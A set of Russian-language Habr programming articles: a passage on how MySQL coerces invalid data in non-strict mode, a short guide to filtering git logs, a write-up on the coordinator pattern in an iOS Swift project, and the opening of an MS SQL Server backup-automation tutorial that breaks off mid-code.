Запросы на модификация данных: INSERT, UPDATE, REPLACE, LOAD DATA INFILE
Обновление описания схем таблиц: ALTER TABLE
Задание значения по умолчанию (DEFAULT) в описании колонки
Напоминаю, что в строгом режиме некорректные данные приведут к генерации ошибки и откат данных, а в нестрогом – значение будет не явно приведено к корректному значению и сгенерировано предупреждение. Для просмотра ошибок используйте SHOW WARNINGS.
Ниже будут подробно рассмотрены все случаи обработки некорректных значений и их разрешений на уровне БД.
###### Выход из диапазона допустимых значений
Если число меньше минимального значения допустимого диапазона, то присваивается минимально-допустимое число. Если больше максимального – максимально-допустимое.
```
mysql> CREATE TABLE test31 (
-> i TINYINT NOT NULL,
-> j TINYINT NOT NULL,
-> k TINYINT NOT NULL
-> ) ENGINE = InnoDB;
Query OK, 0 rows affected (0.09 sec)
mysql> INSERT INTO test31 (i, j, k) VALUES (-500, 10, 500);
Query OK, 1 row affected, 2 warnings (0.06 sec)
mysql> SELECT * FROM test30;
+------+----+-----+
| i | j | k |
+------+----+-----+
| -128 | 10 | 127 |
+------+----+-----+
1 row in set (0.00 sec)
```
###### Обработка строк
Строки длиннее заданной длины — усекаются.
```
mysql> CREATE TABLE test32 ( col1 VARCHAR(10) ) ENGINE = InnoDB;
Query OK, 0 rows affected (0.11 sec)
mysql> INSERT INTO test32 VALUES ('I\m really the biggest string');
Query OK, 1 row affected, 1 warning (0.03 sec)
mysql> SHOW WARNINGS;
+---------+------+-------------------------------------------+
| Level | Code | Message |
+---------+------+-------------------------------------------+
| Warning | 1265 | Data truncated for column 'col1' at row 1 |
+---------+------+-------------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT * FROM test32;
+------------+
| col1 |
+------------+
| Im really |
+------------+
1 row in set (0.00 sec)
```
###### ENUM и SET типы данных
Если присваиваемое значение колонке с типом ENUM не перечислено в определении ENUM, то MySQL преобразует его в пустую строку.
Если значение, которое присваивается SET столбцу содержит элементы, которые не перечислены в определении SET, то MySQL отбрасывает эти элементы, сохраняя значения только легальным элементам.
```
mysql> CREATE TABLE test33 (
-> col1 ENUM('One', 'Two', 'Three'),
-> col2 SET('One', 'Two', 'Three')
-> ) ENGINE = InnoDB;
Query OK, 0 rows affected (0.12 sec)
mysql> INSERT INTO test33 VALUES ('Five', 'One,Three,Five');
Query OK, 1 row affected, 2 warnings (0.04 sec)
mysql> SHOW WARNINGS;
+---------+------+-------------------------------------------+
| Level | Code | Message |
+---------+------+-------------------------------------------+
| Warning | 1265 | Data truncated for column 'col1' at row 1 |
| Warning | 1265 | Data truncated for column 'col2' at row 1 |
+---------+------+-------------------------------------------+
2 rows in set (0.00 sec)
mysql> SELECT * FROM test33;
+------+-----------+
| col1 | col2 |
+------+-----------+
| | One,Three |
+------+-----------+
2 rows in set (0.00 sec)
```
###### Преобразование в тип даты
При попытке сохранения значения, которое не может быть преобразовано в тип данных столбца, MySQL неявно преобразует его в значение по умолчанию для данного типа.
```
mysql> CREATE TABLE test34 (
-> col1 DATETIME,
-> col2 DATETIME
-> ) ENGINE = InnoDB;
Query OK, 0 rows affected (0.14 sec)
mysql> INSERT INTO test34 VALUES ('string', 123);
Query OK, 1 row affected, 1 warning (0.12 sec)
mysql> SHOW WARNINGS;
+---------+------+-----------------------------------------------+
| Level | Code | Message |
+---------+------+-----------------------------------------------+
| Warning | 1264 | Out of range value for column 'col1' at row 1 |
+---------+------+-----------------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT * FROM test34;
+---------------------+---------------------+
| col1 | col2 |
+---------------------+---------------------+
| 0000-00-00 00:00:00 | 2000-01-23 00:00:00 |
+---------------------+---------------------+
1 row in set (0.00 sec)
```
###### Таблица преобразований
| | | |
| --- | --- | --- |
| STRING | DATE | INT |
| '2010-03-12' | '2010-03-12' | 2010 |
| '03-12-2010' | '0000-00-00' | 3 |
| '0017' | '0000-00-00' | 17 |
| '500 hats' | '0000-00-00' | 500 |
| 'bartholomew' | '0000-00-00' | 0 |
###### Присвоение NULL для колонки с NOT NULL
Результат зависит от того, будет вставлена одна строка или множество в INSERT запросе.
При вставке одной строки возникает ошибка и изменения не применяются. При множественной вставке — MySQL неявно преобразует значение по умолчанию для этого типа данных.
###### Обновление описания схем таблиц: ALTER TABLE
При изменении типа данных на колонку налагаются ограничения нового типа, что может привести к неожиданному изменению самих данных по правилам описанных выше.
Если на колонку налагается ограничение NOT NULL, то все NULL значения конвертируются в значения по умолчанию для заданного типа данных текущей колонки. Значения по умолчанию описаны в главе «Дефолтные значения для типов данных»
```
mysql> CREATE TABLE test35 (
-> i INT NULL,
-> i2 INT NOT NULL,
-> j VARCHAR(20) NOT NULL,
-> k DATETIME
-> ) ENGINE = InnoDB;
Query OK, 0 rows affected (0.15 sec)
mysql> INSERT INTO test35 VALUES (NULL, 9999, 'very cool string', '1910-01-01 12:10:00');
Query OK, 1 row affected (0.05 sec)
mysql> SELECT * FROM test35;
+------+------+------------------+---------------------+
| i | i2 | j | k |
+------+------+------------------+---------------------+
| NULL | 9999 | very cool string | 1910-01-01 12:10:00 |
+------+------+------------------+---------------------+
1 row in set (0.00 sec)
mysql> ALTER TABLE test35
-> CHANGE COLUMN `i` `i` INT(11) NOT NULL,
-> CHANGE COLUMN `i2` `i2` TINYINT(1) NOT NULL,
-> CHANGE COLUMN `j` `j` VARCHAR(2) NOT NULL,
-> CHANGE `k` `k` TIMESTAMP NULL DEFAULT NULL;
Query OK, 1 row affected, 4 warnings (0.42 sec)
Records: 1 Duplicates: 0 Warnings: 4
mysql> SHOW WARNINGS;
+---------+------+---------------------------------------------+
| Level | Code | Message |
+---------+------+---------------------------------------------+
| Warning | 1265 | Data truncated for column 'i' at row 1 |
| Warning | 1264 | Out of range value for column 'i2' at row 1 |
| Warning | 1265 | Data truncated for column 'j' at row 1 |
| Warning | 1264 | Out of range value for column 'k' at row 1 |
+---------+------+---------------------------------------------+
4 rows in set (0.00 sec)
mysql> SELECT * FROM test35;
+---+-----+----+---------------------+
| i | i2 | j | k |
+---+-----+----+---------------------+
| 0 | 127 | ve | 0000-00-00 00:00:00 |
+---+-----+----+---------------------+
1 row in set (0.00 sec)
```
###### Задание значения по умолчанию (DEFAULT) в описании колонки
Вообще, всё уже было сказано в прошлой главе, поэтому здесь нечего добавить.
Ну что ж, мой дорогой читатель. Теперь ты можешь по-праву назваться настоящим джедаем и получить чёрный пояс)))
#### Извлекаем плюсы
###### IGNORE
Ключевое слово IGNORE заставляет MySQL включать для такого запроса нестрогий режим. Также его можно использовать для генерации предупреждения вместо ошибки, при нарушении целостности первичного ключа (PRIMARY KEY) или уникальности (UNIQUE).
```
mysql> CREATE TABLE test40 (
-> x INT NOT NULL PRIMARY KEY
-> ) ENGINE = InnoDB;
Query OK, 0 rows affected (0.14 sec)
mysql> INSERT IGNORE INTO test40 VALUES (1), (2), (2), (3), (4);
Query OK, 4 rows affected (0.02 sec)
Records: 5 Duplicates: 1 Warnings: 0
mysql> SELECT * FROM test40;
+---+
| x |
+---+
| 1 |
| 2 |
| 3 |
| 4 |
+---+
4 rows in set (0.02 sec)
mysql> INSERT INTO test40 VALUES (1), (2), (2), (3), (4);
ERROR 1062 (23000): Duplicate entry '1' for key 'PRIMARY'
mysql> UPDATE IGNORE test40 SET x = 3 WHERE x = 2;
Query OK, 0 rows affected (0.07 sec)
Rows matched: 1 Changed: 0 Warnings: 0
mysql> UPDATE test40 SET x = 3 WHERE x = 2;
ERROR 1062 (23000): Duplicate entry '3' for key 'PRIMARY'
```
###### ON DUPLICATE KEY UPDATE
Такой вид запроса не совсем идеальный пример, но включил, чтобы лишний раз вспомнить, что такое вообще существует. Используется для выполнения вставки данных, либо обновлении при нарушении ограничения целостности первичного ключа (PRIMARY KEY) или уникальности (UNIQUE).
```
mysql> INSERT INTO test40 VALUES (10) ON DUPLICATE KEY UPDATE x = x + 10;
Query OK, 1 row affected (0.25 sec)
mysql> SELECT * FROM test40;
+----+
| x |
+----+
| 1 |
| 2 |
| 3 |
| 4 |
| 10 |
+----+
5 rows in set (0.06 sec)
mysql> INSERT INTO test40 VALUES (10) ON DUPLICATE KEY UPDATE x = x + 10;
Query OK, 2 rows affected (0.07 sec)
mysql> SELECT * FROM test40;
+----+
| x |
+----+
| 1 |
| 2 |
| 3 |
| 4 |
| 20 |
+----+
5 rows in set (0.00 sec)
``` | https://habr.com/ru/post/166411/ | null | ru | null |
# Как фильтровать Git логи
### Получение всех коммитов
```
git log
```
### Получение последних n коммитов
Мы можем получить последние n коммитов, выполнив команду "git log -n". Скажем, мы хотим получить последние 2 коммита.
```
git log -2
```
### Получение коммитов с определенной даты
Мы может фильтровать коммиты на основе даты, когда они были сделаны. Допустим, мы хотим получить все коммиты, сделанные **17.01.2022.**
```
git log --since 2022-01-17
```
### Получение коммитов до определенной даты
Аналогично мы можем получить коммиты, которые были сделаны до какой-то конкретной даты.
```
git log --until 2022-01-16
```
### Получение коммитов по автору
Мы также можем получить коммиты, сделанные определенным автором. Например:
```
git log --author=pipinho13
```
### Получение коммитов между двумя SHAs
Мы можем получить логи между двумя SHAs следующим образом:
```
git log ...
```
где XXX и YYY - это соответствующие SHAs. Обратите внимание, мы можем заменить на HEAD, если необходимо получить коммиты от до настоящего момента, то есть:
```
git log ...HEAD
```
### Получение коммитов, относящихся к файлу
Мы можем фильтровать логи по файлам. Предположим, мы хотим получить все логи, связанные с файлом "README.md".
```
git log README.md
```
### Получение коммитов с использованием выражения
Мы можем использовать мощную команду "grep", чтобы фильтровать коммиты. Обычно мы ищем какое-то выражение в сообщении к коммиту. Например, давайте получим коммиты, которые содержат слово "wrong" в сообщении:
```
git log --grep="wrong"
```
--- | https://habr.com/ru/post/651209/ | null | ru | null |
# Опыт использования «координаторов» в реальном «iOS»-проекте
Мир современного программирования богат на тренды, а для мира программирования [«iOS»](https://developer.apple.com/ios/)-приложений это справедливо вдвойне. Надеюсь, я не сильно ошибусь, утверждая, что одним из самых «модных» архитектурных шаблонов последних лет является «координатор». Вот и наша команда какое-то время назад осознала непреодолимое желание попробовать на себе этот прием. Тем более, что подвернулся очень удачный случай – значительное изменение логики и тотальная перепланировка навигации в приложении.
Проблема
--------
Зачастую так получается, что контроллеры начинают брать на себя слишком многое: «отдавать команды» напрямую владеющим его [`UINavigationController`](https://developer.apple.com/documentation/uikit/uinavigationcontroller), «общаться» с родными «братьями»-контроллерами (даже инициализировать их и передавать в навигационный стек) – в общем делать много того, о чем им не положено даже подозревать.
Одним из возможных способов этого избежать как раз и является «координатор». Причем, как оказалось, довольно удобным в работе и очень гибким: шаблон способен управлять навигационными событиями как небольших модулей (представляющих собой, возможно, лишь один-единственный экран), так и всего приложения (запуская свой «flow», условно говоря, прямо из [`UIApplicationDelegate`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate)).
История
-------
[Мартин Фаулер](https://martinfowler.com) в своей книге [«Patterns of Enterprise Application Architecture»](https://amazon.com/Patterns-Enterprise-Application-Architecture-Martin/dp/0321127420) назвал этот шаблон [«Application Controller»](https://martinfowler.com/eaaCatalog/applicationController.html). А первым его популяризатором в среде «iOS» считается [Соруш Ханлу](http://khanlou.com): все началось с [его доклада на «NSSpain»](https://vimeo.com/144116310) в 2015 году. Затем появилась [обзорная статья на его сайте](http://khanlou.com/2015/01/the-coordinator/), которая имела несколько продолжений (например [это](http://khanlou.com/2015/10/coordinators-redux/)).
А затем последовали множество обзоров (запрос «ios coordinators» выдает десятки результатов разного качества и степени подробности), в том числе даже [руководство на Ray Wenderlich](https://raywenderlich.com/158-coordinator-tutorial-for-ios-getting-started) и [статья от Пола Хадсона на его «Hacking with Swift»](https://hackingwithswift.com/articles/71/how-to-use-the-coordinator-pattern-in-ios-apps) в рамках серии материалов о путях избавления от проблемы «массивного» контроллера.
Забегая вперед, самая заметная тема для обсуждений – это проблема кнопки возврата в `UINavigationController`, нажатие на которую обрабатывается не нашим кодом, а мы лишь можем получить [обратный вызов](https://en.wikipedia.org/wiki/Callback_(computer_programming)).
Собственно, почему это проблема? Координаторы, как и любые объекты, чтобы существовать в памяти, нуждаются в том, чтобы какой-то другой объект ими «владел». Как правило, при выстраивании системы навигации с помощью координаторов, одни координаторы порождают другие и хранят на них сильную ссылку. При «выходе из зоны ответственности» порожденного координатора, контроль возвращается к порождающему координатору, и память, которую занимал порождаемый, должна быть освобождена.
Соруш имеет [свое видение решения этой проблемы](http://khanlou.com/2017/05/back-buttons-and-coordinators/), а также отмечает еще пару [достойных](https://irace.me/navigation-coordinators) [подходов](https://hackernoon.com/coordinators-routers-and-back-buttons-c58b021b32a). Но мы к этому еще вернемся.
Первое приближение
------------------
*Перед тем как начать показывать реальный код, я бы хотел пояснить, что хотя принципы полностью соответствуют тем, к которым мы пришли в проекте, отрывки из кода и примеры его использования упрощены и сокращены везде, где это не мешает их восприятию.*
Когда мы в команде впервые взялись экспериментировать с координаторами, у нас не было для этого очень много времени и свободы действий: необходимо было считаться с существующими принципами и устройством навигации. Первый вариант реализации координаторов базировался на общем «роутере», который владеет и управляет `UINavigationController`. Он умеет делать с экземплярами [`UIViewController`](https://developer.apple.com/documentation/uikit/uiviewcontroller) все, что нужно касаемо навигации – «push»/«pop», «present»/«dismiss» плюс манипуляции с [«root»-контроллером](https://developer.apple.com/documentation/uikit/uiwindow/1621581-rootviewcontroller). Пример интерфейса такого роутера:
```
import UIKit
protocol Router {
func present(_ module: UIViewController, animated: Bool)
func dismissModule(animated: Bool, completion: (() -> Void)?)
func push(_ module: UIViewController, animated: Bool, completion: (() -> Void)?)
func popModule(animated: Bool)
func setAsRoot(_ module: UIViewController)
func popToRootModule(animated: Bool)
}
```
Конкретная реализация инициализируется с экземпляром `UINavigationController` и ничего особенно хитрого в себе не содержит. Единственное ограничение: в качестве значений аргументов методов интерфейса нельзя передавать другие экземпляры `UINavigationController` (по понятным причинам: `UINavigationController` не может содержать `UINavigationController` в своем стеке – это ограничение [`UIKit`](https://developer.apple.com/documentation/uikit)).
Координатору, как и любому объекту, необходим владелец – другой объект, который будет хранить в себе ссылку на него. Ссылку на корневой может хранить порождающий его объект, но каждый координатор также может порождать другие координаторы. Поэтому базовым интерфейсом был написан класс, обеспечивающий механизм менеджмента порождаемых координаторов:
```
class Coordinator {
private var childCoordinators = [Coordinator]()
func add(dependency coordinator: Coordinator) {
// ...
}
func remove(dependency coordinator: Coordinator) {
// ...
}
}
```
Одно из подразумеваемых достоинств координаторов – это инкапсуляция знаний о конкретных подклассах `UIViewController`. Чтобы обеспечить взаимодействие роутера и координаторов мы ввели следующий интерфейс:
```
protocol Presentable {
func presented() -> UIViewController
}
```
Тогда каждый конкретный координатор должен наследоваться от `Coordinator` и реализовывать интерфейс `Presentable`, а интерфейс роутера – принять следующий вид:
```
protocol Router {
func present(_ module: Presentable, animated: Bool)
func dismissModule(animated: Bool, completion: (() -> Void)?)
func push(_ module: Presentable, animated: Bool, completion: (() -> Void)?)
func popModule(animated: Bool)
func setAsRoot(_ module: Presentable)
func popToRootModule(animated: Bool)
}
```
(Подход с `Presentable` также позволяет использовать координаторы внутри модулей, которые написаны для взаимодействия напрямую с экземплярами `UIViewController`, не подвергая их (модули) кардинальной переработке.)
Краткий пример этого всего в деле:
```
final class FirstCoordinator: Coordinator, Presentable {
func presented() -> UIViewController {
return UIViewController()
}
}
final class SecondCoordinator: Coordinator, Presentable {
func presented() -> UIViewController {
return UIViewController()
}
}
let nc = UINavigationController()
let router = RouterImpl(navigationController: nc) // Router implementation.
router.setAsRoot(FirstCoordinator())
router.push(SecondCoordinator(), animated: true, completion: nil)
router.popToRootModule(animated: true)
```
Следующее приближение
---------------------
И вот однажды наступил момент тотальной переделки навигации и абсолютной свободы самовыражения! Момент, когда ничто не мешало попробовать реализовать навигацию на координаторах с использованием заветного метода `start()` – версии, которая и пленила изначально своей простотой и лаконичностью.
Упомянутые выше возможности `Coordinator`, очевидно, останутся не лишними. Но к общему интерфейсу необходимо прибавить тот самый метод:
```
protocol Coordinator {
func add(dependency coordinator: Coordinator)
func remove(dependency coordinator: Coordinator)
func start()
}
class BaseCoordinator: Coordinator {
private var childCoordinators = [Coordinator]()
func add(dependency coordinator: Coordinator) {
// ...
}
func remove(dependency coordinator: Coordinator) {
// ...
}
func start() { }
}
```
[«Swift»](https://apple.com/swift/) не предлагает возможность объявлять абстрактные классы (т.к. в большей степени он ориентирован на протокольно-ориентированный подход, нежели на более классический, [объектно-ориентированный](https://en.wikipedia.org/wiki/Object-oriented_programming)), поэтому метод `start()` можно как оставить с пустой реализацией, так и засунуть туда что-нибудь вроде [`fatalError(_:file:line:)`](https://developer.apple.com/documentation/swift/1538698-fatalerror) (принуждая переопределять этот метод наследниками). Лично мне первый вариант больше по душе.
Но у «Swift» есть замечательная возможность добавлять протокольным методам реализации по умолчанию, поэтому первой мыслью, конечно, была не объявлять базовый класс, а сделать что-нибудь вроде этого:
```
extension Coordinator {
func add(dependency coordinator: Coordinator) {
// ...
}
func remove(dependency coordinator: Coordinator) {
// ...
}
}
```
Но расширения протоколов не могут объявлять хранимые поля, а реализации этих двух методов, очевидно, должна основываться на приватном хранимом свойстве типа.
Основа любого конкретного координатора таким образом будет выглядеть так:
```
final class SomeCoordinator: BaseCoordinator {
override func start() {
// ...
}
}
```
В инициализатор могут быть добавлены какие угодно зависимости, которые необходимы для функционирования координатора. Как типовой случай – экземпляр `UINavigationController`.
Если это корневой координатор, ответственность которого заключается в отображении корневого `UIViewController`, координатор может, например, принимать новый экземпляр `UINavigationController` с пустым стеком.
Внутри себя координатор при обработке событий (об этом – далее) может передавать этот `UINavigationController` дальше, другим координаторам, которые он порождает. А те могут также делать с текущим состоянием навигации то, что им необходимо: «push», «present», да хоть бы и весь навигационный стек подменять.
### Возможные улучшения интерфейса
Как выяснилось позднее, далеко не каждый координатор будет порождать другие координаторы, поэтому не все они должны зависеть от такого базового класса. Поэтому один из коллег из смежной команды предложил избавиться от наследования и ввести интерфейс менеджера зависимостей в качестве внешей зависимости:
```
protocol CoordinatorDependencies {
func add(dependency coordinator: Coordinator)
func remove(dependency coordinator: Coordinator)
}
final class DefaultCoordinatorDependencies: CoordinatorDependencies {
private let dependencies = [Coordinator]()
func add(dependency coordinator: Coordinator) {
// ...
}
func remove(dependency coordinator: Coordinator) {
// ...
}
}
final class SomeCoordinator: Coordinator {
private let dependencies: CoordinatorDependencies
init(dependenciesManager: CoordinatorDependencies = DefaultCoordinatorDependencies()) {
dependencies = dependenciesManager
}
func start() {
// ...
}
}
```
### Обработка событий, порождаемых пользователем
Хорошо, координатор создал и каким-то образом инициировал новое отображение. Скорее всего, пользователь смотрит на экран и видит некий набор визуальных элементов, с которыми он может взаимодействовать: кнопки, текстовые поля и пр. Часть из них провоцируют навигационные события, и ими должен управлять координатор, породивший данный контроллер. Для решения этой задачи мы используем традиционное [делегирование](https://en.wikipedia.org/wiki/Delegation_pattern).
Предположим, имеется некий подкласс `UIViewController`:
```
final class SomeViewController: UIViewController { }
```
И координатор, который добавляет его в стек:
```
final class SomeCoordinator: Coordinator {
private let dependencies: CoordinatorDependencies
private weak var navigationController: UINavigationController?
init(navigationController: UINavigationController,
dependenciesManager: CoordinatorDependencies = DefaultCoordinatorDependencies()) {
self.navigationController = navigationController
dependencies = dependenciesManager
}
func start() {
let vc = SomeViewController()
navigationController?.pushViewController(vc, animated: true)
}
}
```
Этому же координатору мы делегируем обработку соответствующих событий контроллера. Тут, собственно, используется классическая схема:
```
protocol SomeViewControllerRoute: class {
func onSomeEvent()
}
final class SomeViewController: UIViewController {
private weak var route: SomeViewControllerRoute?
init(route: SomeViewControllerRoute) {
self.route = route
super.init(nibName: nil, bundle: nil)
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
@IBAction
private func buttonAction() {
route?.onSomeEvent()
}
}
final class SomeCoordinator: Coordinator {
private let dependencies: CoordinatorDependencies
private weak var navigationController: UINavigationController?
init(navigationController: UINavigationController,
dependenciesManager: CoordinatorDependencies = DefaultCoordinatorDependencies()) {
self.navigationController = navigationController
dependencies = dependenciesManager
}
func start() {
let vc = SomeViewController(route: self)
navigationController?.pushViewController(vc, animated: true)
}
}
extension SomeCoordinator: SomeViewControllerRoute {
func onSomeEvent() {
// ...
}
}
```
### Обработка нажатия на кнопку возврата
Еще один [неплохой обзор обсуждаемого архитектурного шаблона был опубликован Полом Хадсоном на его сайте «Hacking with Swift»](https://hackingwithswift.com/articles/175/advanced-coordinator-pattern-tutorial-ios), можно даже сказать, руководство. В нем же содержится простое, без обиняков, объяснение одного их возможных решений упомянутой выше проблемы кнопки возврата: координатор (если это необходимо) объявляет себя делегатом передаваемого ему экземпляра `UINavigationController` и отслеживает интересующее нас событие.
У этого подхода есть небольшой недостаток: делегатом `UINavigationController` может быть только наследник [`NSObject`](https://developer.apple.com/documentation/objectivec/nsobject).
Итак, имеется координатор, который порождает другой координатор. Этот, другой, по вызову `start()` добавляет в стек `UINavigationController` какой-то свой `UIViewController`. По нажатию на кнопку возврата назад на [`UINavigationBar`](https://developer.apple.com/documentation/uikit/uinavigationbar) все, что нужно сделать – это дать знать порождающему координатору, что порожденный координатор закончил свою работу («флоу»). Для этого мы ввели еще один инструмент делегирования: каждому порождаемому координатору выделяется делегат, интерфейс которого реализует порождающий координатор:
```
protocol CoordinatorFlowListener: class {
func onFlowFinished(coordinator: Coordinator)
}
final class MainCoordinator: NSObject, Coordinator {
private let dependencies: CoordinatorDependencies
private let navigationController: UINavigationController
init(navigationController: UINavigationController,
dependenciesManager: CoordinatorDependencies = DefaultCoordinatorDependencies()) {
self.navigationController = navigationController
dependencies = dependenciesManager
super.init()
}
func start() {
let someCoordinator = SomeCoordinator(navigationController: navigationController, flowListener: self)
dependencies.add(someCoordinator)
someCoordinator.start()
}
}
extension MainCoordinator: CoordinatorFlowListener {
func onFlowFinished(coordinator: Coordinator) {
dependencies.remove(coordinator)
// ...
}
}
final class SomeCoordinator: NSObject, Coordinator {
private weak var flowListener: CoordinatorFlowListener?
private weak var navigationController: UINavigationController?
init(navigationController: UINavigationController,
flowListener: CoordinatorFlowListener) {
self.navigationController = navigationController
self.flowListener = flowListener
}
func start() {
// ...
}
}
extension SomeCoordinator: UINavigationControllerDelegate {
func navigationController(_ navigationController: UINavigationController,
didShow viewController: UIViewController,
animated: Bool) {
guard let fromVC = navigationController.transitionCoordinator?.viewController(forKey: .from) else { return }
if navigationController.viewControllers.contains(fromVC) { return }
if fromVC is SomeViewController {
flowListener?.onFlowFinished(coordinator: self)
}
}
}
```
В примере выше `MainCoordinator`, ничего не делает: просто запускает «флоу» другого координатора – в реальной жизни это, конечно, бесполезно. В нашем приложении `MainCoordinator` получает извне данные, по которым он определяет, в каком состоянии находится приложение – авторизованном, не авторизованном и т.д. – и какой именно экран необходимо показать. В зависимости от этого, он запускает «флоу» соответствующего координатора. Если порожденный координатор закончил свою работу, главный координатор получает об этом сигнал через `CoordinatorFlowListener` и, скажем, запускает «флоу» другого координатора.
Заключение
----------
Прижившееся решение, конечно, обладает рядом недостатков (как и любое решение любой проблемы).
Да, приходится использовать много делегирования, но оно простое и имеет единое направление: от порождаемого к порождающему (от контроллера к координатору, от порождаемого координатора к порождающему).
Да, чтобы спастись от утечек памяти, приходится в каждый координатор добавлять метод делегата `UINavigationController` с практически идентичной реализацией. (Первый подход этого недостатка лишен, но вместо этого более «щедро» делится внутренними знаниями о назначении конкретного координатора.)
Но самый большой недочет такого подхода – это то, что в реальной жизни координаторы, к сожалению, будут знать об окружающем их мире чуть больше, чем хотелось бы. Точнее, в них придется добавлять элементы логики, зависящие от внешних условий, о которых координатор не осведомлен напрямую. В основном, это, собственно, то, что происходит по вызову метода `start()` или по обратному вызову `onFlowFinished(coordinator:)`. А происходить в этих местах может что угодно, и это всегда будет «hardcoded»-поведение: добавление контроллера в стек, подмена стека, возврат к корневому контроллеру – что угодно. И это все зависит не от компетенций текущего контроллера, а от внешних условий.
Тем не менее, код получается «симпатичный» и лаконичный, работать с ним действительно приятно, а навигация прослеживается по коду гораздо проще. Нам показалось, с упомянутыми недостатками, будучи о них осведомленными, вполне можно существовать.
> Спасибо, что дочитали до этого места! Надеюсь, узнали что-нибудь для себя полезное. А если вдруг захочется «больше меня», то вот [ссылка на мой Twitter](https://twitter.com/lazarevzubov). | https://habr.com/ru/post/444038/ | null | ru | null |
# Пример реализации автоматизированного процесса резервного копирования и восстановления баз данных встроенными средствами
### Предисловие
В Интернете можно найти достаточно много примеров по созданию резервных копий баз данных, а также по их восстановлению. Приведем еще один пример встроенными средствами в MS SQL Server.
В данном примере будут собраны сразу несколько подходов-от проверки целостности базы данных перед созданием резервной копии до восстановления этой базы по уже созданной ранее резервной копии.
### Решение
Сначала приведем общий алгоритм по созданию резервной копии:
1) Определяем для каких баз данных нужно сделать резервную копию
2) Проверяем каждую выбранную базу данных на целостность
3) Создаем для каждой выбранной базы данных резервную копию (полную или разностную (дифференциальную), или журнала транзакций)
4) Проверяем полученные резервные копии
5) Сжимаем журналы транзакций отработанных баз данных (по необходимости)
Далее приведем пример реализации данного выше алгоритма.
Для того, чтобы определить для каких баз данных необходимо делать резервные копии, создадим следующую таблицу:
**Таблица настроек резервного копирования**
```
USE [ИМЯ_БД]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [srv].[BackupSettings](
[DBID] [int] NOT NULL,
[FullPathBackup] [nvarchar](255) NOT NULL,
[DiffPathBackup] [nvarchar](255) NULL,
[LogPathBackup] [nvarchar](255) NULL,
[InsertUTCDate] [datetime] NOT NULL,
CONSTRAINT [PK_BackupSettings] PRIMARY KEY CLUSTERED
(
[DBID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY];
GO
ALTER TABLE [srv].[BackupSettings] ADD CONSTRAINT [DF_BackupSettings_InsertUTCDate] DEFAULT (getutcdate()) FOR [InsertUTCDate];
GO
```
В первом столбце указывается идентификатор базы данных, в FullPathBackup содержится полный путь для создания полных резервных копий (например, 'диск:\...\'), а в DiffPathBackup и LogPathBackup полные пути для создания разностных резервных копий и резервных копий журналов транзакций соответственно. Если столбец DiffPathBackup или LogPathBackup будет пустым, то база данных не будет участвовать в создании разностной резервной копии или резервной копии журнала транзакций соответственно.
Также можно создать представление на основе этой таблицы:
**Представление для настроек резервного копирования**
```
USE [ИМЯ_БД]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE view [srv].[vBackupSettings]
as
SELECT [DBID]
,DB_Name([DBID]) as [DBName]
,[FullPathBackup]
,[DiffPathBackup]
,[LogPathBackup]
,[InsertUTCDate]
FROM [srv].[BackupSettings];
GO
```
Данное представление дает возможность быстро увидеть какие базы данных участвуют в резервном копировании.
Теперь создадим представление, которое выводит информацию по файлам БД из системного представления sys.master\_files:
**Представление по файлам БД**
```
USE [ИМЯ_БД]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE view [inf].[ServerDBFileInfo] as
SELECT @@Servername AS Server ,
File_id ,--Идентификатор файла в базе данных. Основное значение file_id всегда равно 1
Type_desc ,--Описание типа файла
Name as [FileName] ,--Логическое имя файла в базе данных
LEFT(Physical_Name, 1) AS Drive ,--Метка тома, где располагается файл БД
Physical_Name ,--Полное имя файла в операционной системе
RIGHT(physical_name, 3) AS Ext ,--Расширение файла
Size as CountPage, --Текущий размер файла в страницах по 8 КБ
round((cast(Size*8 as float))/1024,3) as SizeMb, --Размер файла в МБ
round((cast(Size*8 as float))/1024/1024,3) as SizeGb, --Размер файла в ГБ
case when is_percent_growth=0 then Growth*8 else 0 end as Growth, --Прирост файла в страницах по 8 КБ
case when is_percent_growth=0 then round((cast(Growth*8 as float))/1024,3) end as GrowthMb, --Прирост файла в МБ
case when is_percent_growth=0 then round((cast(Growth*8 as float))/1024/1024,3) end as GrowthGb, --Прирост файла в ГБ
case when is_percent_growth=1 then Growth else 0 end as GrowthPercent, --Прирост файла в целых процентах
is_percent_growth, --Признак процентного приращения
database_id,
DB_Name(database_id) as [DB_Name],
State,--состояние файла
state_desc as StateDesc,--описание состояния файла
is_media_read_only as IsMediaReadOnly,--файл находится на носителе только для чтения (0-и для записи)
is_read_only as IsReadOnly,--файл помечен как файл только для чтения (0-и записи)
is_sparse as IsSpace,--разреженный файл
is_name_reserved as IsNameReserved,--1 - Имя удаленного файла, доступно для использования.
--Необходимо получить резервную копию журнала, прежде чем удастся повторно использовать имя (аргументы name или physical_name) для нового имени файла
--0 - Имя файла, недоступно для использовани
create_lsn as CreateLsn,--Регистрационный номер транзакции в журнале (LSN), на котором создан файл
drop_lsn as DropLsn,--Номер LSN, с которым файл удален
read_only_lsn as ReadOnlyLsn,--Номер LSN, на котором файловая группа, содержащая файл, изменила тип с «для чтения и записи» на «только для чтения» (самое последнее изменение)
read_write_lsn as ReadWriteLsn,--Номер LSN, на котором файловая группа, содержащая файл, изменила тип с «только для чтения» на «для чтения и записи» (самое последнее изменение)
differential_base_lsn as DifferentialBaseLsn,--Основа для разностных резервных копий. Экстенты данных, измененных после того, как этот номер LSN будет включен в разностную резервную копию
differential_base_guid as DifferentialBaseGuid,--Уникальный идентификатор базовой резервной копии, на которой будет основываться разностная резервная копия
differential_base_time as DifferentialBaseTime,--Время, соответствующее differential_base_lsn
redo_start_lsn as RedoStartLsn,--Номер LSN, с которого должен начаться следующий накат
--Равно NULL, за исключением случаев, когда значение аргумента state = RESTORING или значение аргумента state = RECOVERY_PENDING
redo_start_fork_guid as RedoStartForkGuid,--Уникальный идентификатор точки вилки восстановления.
